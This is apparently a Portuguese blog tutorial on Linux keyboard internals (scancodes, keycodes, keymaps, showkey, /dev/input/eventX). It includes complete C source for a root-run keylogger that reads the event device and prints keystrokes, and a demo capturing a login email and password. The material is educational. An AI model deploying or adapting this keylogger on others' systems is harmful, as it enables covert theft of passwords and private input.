Keyloggers, showkey e Capturando Eventos do Teclado via /dev/input/eventX

Introdução

Muito se fala de keyloggers devido a demanda de pessoas interessadas na vida alheia. Os keyloggers são aqueles programas que gravam tudo que uma pessoa digita no teclado e são mais usados para se obter informações confidenciais, como senhas de e-mail e de redes sociais. Além disso, os keyloggers modernos contêm muitas outras características além da gravação de teclas, como tirar print screen da tela do usuário, enviar os dados coletados seja para um e-mail, para um canal/usuário no IRC ou para algum site através do método POST. Confira um keylogger com essas características em [1].

O Linux, como sempre, oferece ferramentas e abstrações para facilitar diversas tarefas que em outros sistemas operacionais seriam muito difíceis de serem feitas. A princípio, o sistema oferece o showkey, que com finalidades de depuração, nos mostra os scancodes (código das teclas) das teclas digitadas. Outra coisa interessante é a possibilidade de se acessar as teclas digitadas por alguém através do dispositivo /dev/input/eventX.

Nesse post iremos aprender o que são scancode, keycode e keymap e também criar um keylogger pessoal utilizando a interface /dev/input/eventX.

Definições

scancodes

Toda vez que você pressiona ou solta uma tecla, um conjunto de 0 a 6 scancodes é gerado e enviado para o kernel pelo controlador de teclado. Scancodes diferentes são lançados se a tecla foi pressionada ou liberada, mas, basicamente, os bits do código de uma tecla liberada é o mesmo que o da tecla pressionada, exceto que o bit mais significativo. Por exemplo, ao se pressionar a tecla ‘a’, o scancode 0x1e (00011110) é lançado, enquanto que, ao se liberar a tecla, o scancode muda para 0x9e (10011110).

Scancodes também são usados como dados de controle, indicando, por exemplo, erros internos na leitura da tecla. Veja mais detalhes em [3], embora eles não sejam necessários para esse post.

keycodes

Como uma tecla pressionada pode gerar até 6 scancodes e esses códigos podem variar entre teclados, resolveu-se usar um número inteiro para representar um conjunto de scancodes. Esse número se chama keycode e é o identificador único de cada tecla de seu teclado.

Arquivos keymap

Os arquivos keymap mapeiam os keycodes em funções ou em caracteres ASCII. São esses arquivos os responsáveis pela assimilação correta da tecla digitada em um editor de texto com o símbolo mostrado. Um exemplo desses arquivos é o br-abnt2.map, responsável pelo mapeamento de teclados modelo abnt2 e layout QWERTY.

Em geral e falando bastante resumidamente, se eu pressionar e liberar a tecla ‘a’, os scancodes 0x1e e 0x9e serão enviados para o kernel pelo controlador de teclado. Em seguida, o kernel transforma esses scancodes na keycode 30 e a transfere para a aplicação. Por fim, analisando o keymap atual, a keycode 30 é mapeada no caractere textual ‘a’.

Para uma explicação mais detalhada, confira a referência [4].

O comando dumpkeys

Esse comando mostra na tela como é feito a tradução de keycode em caracteres ASCII. O que ele faz nada mais é que mostrar o keymap atualmente em uso.

$ sudo dumpkeys
...
keycode  30 = a
keycode  31 = s
keycode  32 = d
keycode  33 = f
keycode  34 = g
keycode  35 = h
keycode  36 = j
keycode  37 = k
keycode  38 = l
...

como vimos no exemplo anterior, o keycode 30 realmente é traduzido no caractere ‘a’.

O comando showkey

Esse comando é utilizado para fins de depuração. Ele espera por um tecla e a mostra na tela como scancode, keycode ou ASCII.

$ sudo showkey # root em caso de executá-lo no X
...
akeycode  30 press
keycode  30 release

Por padrão o comando mostra a keycode, mas usando a opção -s se obtém o scancode. Lembre-se de que você pode digitar as teclas em qualquer aplicativo, seja no navegador ou no editor de texto e mesmo assim o programa irá obter os códigos correspondentes. A desvantagem é que o comando termina automaticamente em 10 segundos de inatividade (para não travar o terminal).

Há também a opção -a, que nos mostra as teclas digitadas textualmente:

$ sudo showkey -a

Press any keys - Ctrl-D will terminate this program

d       100 0144 0x64
a        97 0141 0x61
e       101 0145 0x65
m       109 0155 0x6d
o       111 0157 0x6f
n       110 0156 0x6e
i       105 0151 0x69
o       111 0157 0x6f

O problema dessa opção é que os dados só são lidos se digitados na entrada padrão do programa. Neste caso, ele não lê as teclas digitadas em um navegador, por exemplo.

O dispositivo /dev/input/eventX

O kernel fornece para o usuário um modo simples de debugar equipamentos através do dispositivo /dev/input/eventX, onde X é o identificador. Acessando esse dispositivo, podemos verificar as respostas de equipamentos como teclado, mouse e joysticks.

Assim, para se logar teclas do teclado é muito fácil, pois basta abrir o dispositivo associado ao teclado e fazer leitura nele. Os dados recebidos serão as teclas pressionadas e liberadas pelo usuário.

O primeiro passo é descobrirmos em qual dispositivo o teclado está associado. Pelo X, essa tarefa pode ser feita através do arquivo de log:

$ grep keyboard /var/log/Xorg.0.log
...
[    34.380] (**) evdev: AT Translated Set 2 keyboard: Device: "/dev/input/event3"
...

Nos outros casos, quando o X não está rodando, é necessário testar todos os dispositivos para verificar qual está associado ao teclado. (obs: deve haver algo mais fácil, mas não consegui encontrar.)

Com uma simples leitura com o cat, testamos se é mesmo nosso teclado:

$ sudo cat /dev/input/event3
# Aperte algumas teclas e deverá ver
# vários "lixos" aqui.

Tendo o dispositivo sido encontrado, agora podemos abrí-lo. Em C, uma chamada a open() com uma flag de somente de leitura é mais do que suficiente.

int fd ;
fd = open("/dev/input/event3", O_RDONLY) ;

Agora temos acesso somente de leitura nesse dispositivo pelo arquivo descritor fd. Agora só nos basta ler as teclas:

int bytes_lidos ;
struct input_event ev[64];
size_t size_ie = sizeof(struct input_event) ;

bytes_lidos = read(fd, ev, size_ie * 64) ;

Para cada tecla pressionada, um conjunto de informações é enviado para o dispositivo. Essas informações são enviadas na forma de uma estrutura, a struct input_event, que tem os seguintes campos:

struct input_event {
    struct timeval time;
    __u16 type;
    __u16 code;
    __s32 value;
};

Embora a estrutura esteja bem definida, o modo que as informações chegam é um pouco intrigante. Como não consegui muito material online, tirei como base o código da referência [5] e [6].

Quando uma tecla é pressionada, são enviados 48 bytes de informações para o dispositivo. Esse valor de 48 vale para a maioria das teclas, exceto para aquelas que ligam o LED do teclado (ex: Caps Lock e Num Lock) cujo valor é de 64 bytes. A estrutura input_event contém 16 bytes e assim 48/16 = 3 posições do vetor ev são preenchidas (ou 64/16 = 4). Bem, após a obtenção dos dados, temos em ev[0].value o keycode da tecla e em ev[1].value temos o tipo de evento, sendo que se esse valor for igual a 0x0, a tecla foi pressionada, se for igual a 0x1, a tecla foi liberada e por fim, se for igual a 0x2, a tecla está sendo segurada. A confusão aqui é que acessamos ev[1].value para obtermos o tipo de evento da tecla ev[0].value.

A posição ev[2].value parece fazer sentido para as teclas que ligam LEDS no teclado. Quando pressiono Caps Lock, o valor ev[2].value é igual a 1, mas em outros casos, esse valor é sempre 0.

Resumidamente, a explicação fica assim:

1) Abra o dispositivo.
2) Leia dados para um vetor ev de structs input_event.
3) Cada tecla normal irá preencher 3 posições. As teclas
   que ligam LED's preenchem 4 posições.
4) Acesse o keycode da tecla em ev[0].value. Acesse o tipo
   de evento em ev[1].value. Um valor de 0x0 indica tecla pressionada,
   um valor de 0x1 é tecla liberada e o valor 0x02 indica tecla segurada.

Lembre-se que essas informações são baseadas inteiramente em [5] e [6]. Creio que em outros casos, como diferentes versões do kernel e layout teclado, essas informações podem mudar.

Só mais um outro keylogger: dkeylog.c

Em [5] e [6] temos a prova do conceito de que é possível se criar um keylogger apenas acessando os dispositivos /dev/input/eventX. Baseando-se nesses códigos, resolvi criar um simples gravador de tecla que, ao contrário do código anterior e aqueles nas referências, faz leitura correta das teclas quando Shift e Caps Lock estão ativos.

Importante: código testado em uma plataforma 32 bits.

/*
 * [dkeylog.c]
 * Keylogger simples escrito em C que utiliza o
 * dispositivo /dev/input/eventX para ler as
 * teclas.
 *
 * [Autor]
 * Marcos Paulo Ferreira (Daemonio)
 * undefinido gmail com
 * https://daemoniolabs.wordpress.com
 *
 * [Compilação]
 * $ gcc -o dkeylog dkeylog.c
 *
 * [Uso]
 * $ sudo ./dkeylog /dev/input/eventX # X = identificador.
 *
 * [Observações]
 * - Esse programa foi feito somente para
 *   fins didáticos.
 * - O programa não está completo e nem pouco
 *   possui as funcionalidades completas de
 *   um keylogger.
 *
 *   Versão 1.0 by daemonio @ Sun Sep 16 18:35:41 BRT 2012
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/input.h>

#define TRUE 1
#define FALSE 0

void veriricar_capslock(int *) ;
int eh_tecla_mapeada(char **, int) ;

/* Keymap normal, sem Shift ou Caps Lock ativado. */
char *keymap_normal[] = {
    "dummy", "<ESC>", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
    "-", "=", "<BACK>", "<TAB>", "q", "w", "e", "r", "t", "y", "u", "i",
    "o", "p", "`", "[", "\n", "<CTRL>", "a", "s", "d", "f", "g", "h", "j",
    "k", "l", "ç", "^", "'", "@", "]", "z", "x", "c", "v", "b", "n", "m",
    ",", ".", ";", "<SHIFT>", "*", "<ALT>", " ", "<CAPS>", "<F1>",
    "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>",
    "<F10>", "<NUM>", "<SCROLL>", "7", "8", "9", "-", "4", "5", "6",
    "+", "1", "2", "3", "0", ",", "dummy", "dummy", "\\", "<F11>",
    "<F12>", "dummy", "dummy", "dummy", "dummy", "dummy", "dummy", "dummy",
    "\n", "<CTRL>", "/", NULL } ;

/* Keymap quando Shift está ativado. */
char *keymap_shift[] = {
    "dummy", "<ESC>", "!", "@", "#", "$", "%", "¨", "&", "*", "(", ")",
    "_", "+", "<BACK>", "<TAB>", "Q", "W", "E", "R", "T", "Y", "U", "I",
    "O", "P", "`", "[", "\n", "<CTRL>", "A", "S", "D", "F", "G", "H", "J",
    "K", "L", "ç", "^", "'", "@", "]", "Z", "X", "C", "V", "B", "N", "M",
    ",", ".", ":", "<SHIFT>", "*", "<ALT>", " ", "<CAPS>", "<F1>",
    "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>",
    "<F10>", "<NUM>", "<SCROLL>", "7", "8", "9", "-", "4", "5", "6",
    "+", "1", "2", "3", "0", ",", "dummy", "dummy", "\\", "<F11>",
    "<F12>", "dummy", "dummy", "dummy", "dummy", "dummy", "dummy", "dummy",
    "\n", "<CTRL>", "/", NULL } ;

/* Keymap quando Caps Lock está ativado. */
char *keymap_capslock[] = {
    "dummy", "<ESC>", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0",
    "-", "=", "<BACK>", "<TAB>", "Q", "W", "E", "R", "T", "Y", "U", "I",
    "O", "P", "`", "[", "\n", "<CTRL>", "A", "S", "D", "F", "G", "H", "J",
    "K", "L", "ç", "^", "'", "@", "]", "Z", "X", "C", "V", "B", "N", "M",
    ",", ".", ";", "<SHIFT>", "*", "<ALT>", " ", "<CAPS>", "<F1>",
    "<F2>", "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>",
    "<F10>", "<NUM>", "<SCROLL>", "7", "8", "9", "-", "4", "5", "6",
    "+", "1", "2", "3", "0", ",", "dummy", "dummy", "\\", "<F11>",
    "<F12>", "dummy", "dummy", "dummy", "dummy", "dummy", "dummy", "dummy",
    "\n", "<CTRL>", "/", NULL } ;

/* Verifica se Caps Lock está ligado. Retorna 1
 * em flagcaps se sim e 0 caso contrário. */
void veriricar_capslock(int *flagcaps) {
    FILE *arq ;
    char buf[100] ;

    /* Invocando o bash.. não consegui outra maneira de fazer
     * isso. :) */
    arq=popen("/bin/xset q | /bin/egrep -o 'Caps Lock:\\s*(off|on)'", "r") ;
    if(arq == NULL) {
        perror("popen") ;
        exit(-1) ;
    }
    fgets(buf, sizeof buf, arq) ;
    *flagcaps = buf[strlen(buf)-2] == 'n' ; /* 1 se 'on' */
    fclose(arq) ;
}

/* Retorna verdadeiro somente se a tecla "e" no parâmetro
 * estiver mapeado na matriz keymaptr. */
int eh_tecla_mapeada(char **keymaptr, int e) {
    int i = 0;

    while(keymaptr[i] != NULL) i++ ;

    return e < i;
}

int main(int argc, char **argv) {
    /* Essa estrutura também é usada para acessar dados
     * de outros dispositivos. Acredito que o valor 64
     * seja o mais seguro em todos os casos, embora em
     * se tratanto de eventos de teclado, o vetor
     * poderia ser menor.
     * */
    struct input_event ev[64] ;
    size_t size_ie, read_bytes ;
    int fd ;
    /* Aponta para o keymap correto. */
    char **keymaptr ;
    /* Flags das teclas Caps Lock e Shift. */
    int flagcaps=FALSE, flagshift=FALSE;

    /* Testa parâmetros. */
    if(argc < 2) {
        fprintf(stderr, "[uso] %s /dev/input/eventX\n", argv[0]) ;
        return -1 ;
    }

    /* É obrigatório ser root. */
    if(getuid() != 0) {
        fprintf(stderr, "[+] Erro: Não é usuário root.\n") ;
        return -1 ;
    }

    /* Abre o dispositivo. */
    if((fd=open(argv[1], O_RDONLY))==-1) {
        perror("open") ;
        return -1 ;
    }

    /* Verifica se Caps Lock está ligado. Retorna 1
     * em flagcaps se sim e 0 caso contrário. */
    veriricar_capslock(&flagcaps) ;

    /* Tamanho da estrutura. */
    size_ie = sizeof(struct input_event) ;

    while(1) {
        /* Seta o keymap. */
        keymaptr = keymap_normal ; /* keymap padrão. */
        if(flagcaps == TRUE)
            keymaptr = keymap_capslock ; /* Caps Lock. */
        if(flagshift == TRUE)
            keymaptr = keymap_shift ; /* Shift. */

        /* Lê as teclas. */
        if((read_bytes=read(fd, ev, size_ie * 64)) < size_ie) {
            fprintf(stderr, "[+] Erro: Leitura de dados insuficientes.\n") ;
            return -1 ;
        }

        /* Se for uma tecla liberada não faz nada, exceto
         * setar as flags para falso das teclas Caps Lock
         * e Shift.  */
        if(ev[1].value == 0) {
            switch(ev[0].value) {
                case 58: /* Caps Lock */
                    flagcaps = FALSE;
                    break ;
                case 42:
                case 54:
                flagshift = FALSE ;
            }
            continue ;
        }

        /* Sequência retornada por pressionar Caps Lock/Num Lock.
         * Apenas a ignoramos. */
        if(ev[1].value > 2) continue ;

        /* Verifica se a tecla pressionada é Caps Lock, ou Shift.
         * Se for, seta as flags correspondentes e lê a próxima tecla.
         */
        switch(ev[0].value) {
            case 58: /* Caps Lock */
                flagcaps = TRUE; continue ;
                break ;
            case 42:
            case 54:
                flagshift = TRUE; continue ;
        }

        /* Mostra a tecla na tela. */
        if(eh_tecla_mapeada(keymaptr, ev[0].value)) {
            printf("%s", keymaptr[ev[0].value]) ;
        }

        /* Limpa o buffer de saída para não haver
         * atrasos. */
        fflush(stdout) ;
    }

    return 0;
}
/* EOF */

Uso:

$ gcc -o dkeylog dkeylog.c
$ sudo ./dkeylog /dev/input/event3

Para testar, entrei no meu próprio facebook:

$ sudo ./dkeylog /dev/input/event3
facebook.com
meuemail@hotmail.com<TAB>minhasenhaface123

Obs: esse programa não é um coletor de senhas e nem aconselho seu uso para isso.

Referências

[1] logkeys Linux keylogger by kernc (Acessado em: Setembro/2012)
http://code.google.com/p/logkeys/

[2] 2. Keyboard generalities by tldp (Acessado em: Setembro/2012)
http://tldp.org/HOWTO/Keyboard-and-Console-HOWTO-2.html

[3] Keyboard scancodes by Andries Brouwer (Acessado em: Setembro/2012)
http://www.win.tue.nl/~aeb/linux/kbd/scancodes.html

[4] Keys and Linux Terminal Configuration by comptechdoc (Acessado em: Setembro/2012)
http://www.comptechdoc.org/os/linux/usersguide/linux_ugterminal.html

[5] Grab Raw Keyboard Input from Event Device Node (/dev/input/event) by thelinuxdaily (Acessado em: Setembro/2012)
http://www.thelinuxdaily.com/2010/05/grab-raw-keyboard-input-from-event-device-node-devinputevent/

[6] POC /dev/input/event* keylogger by Eddie Bell (Acessado em: Setembro/2012)
http://www.derkeiler.com/Mailing-Lists/securityfocus/focus-linux/2005-08/0055.html

Um pensamento sobre “Keyloggers, showkey e Capturando Eventos do Teclado via /dev/input/eventX

  1. Acredito que em máquinas 64 bits você tenha que remapear as teclas. Até onde testei, esse código funcionou perfeitamente em máquinas 32 bits.

    Caso você precise de um código funcional para sua distribuição específica, relate aqui nos comentários.

    t+

Deixe um comentário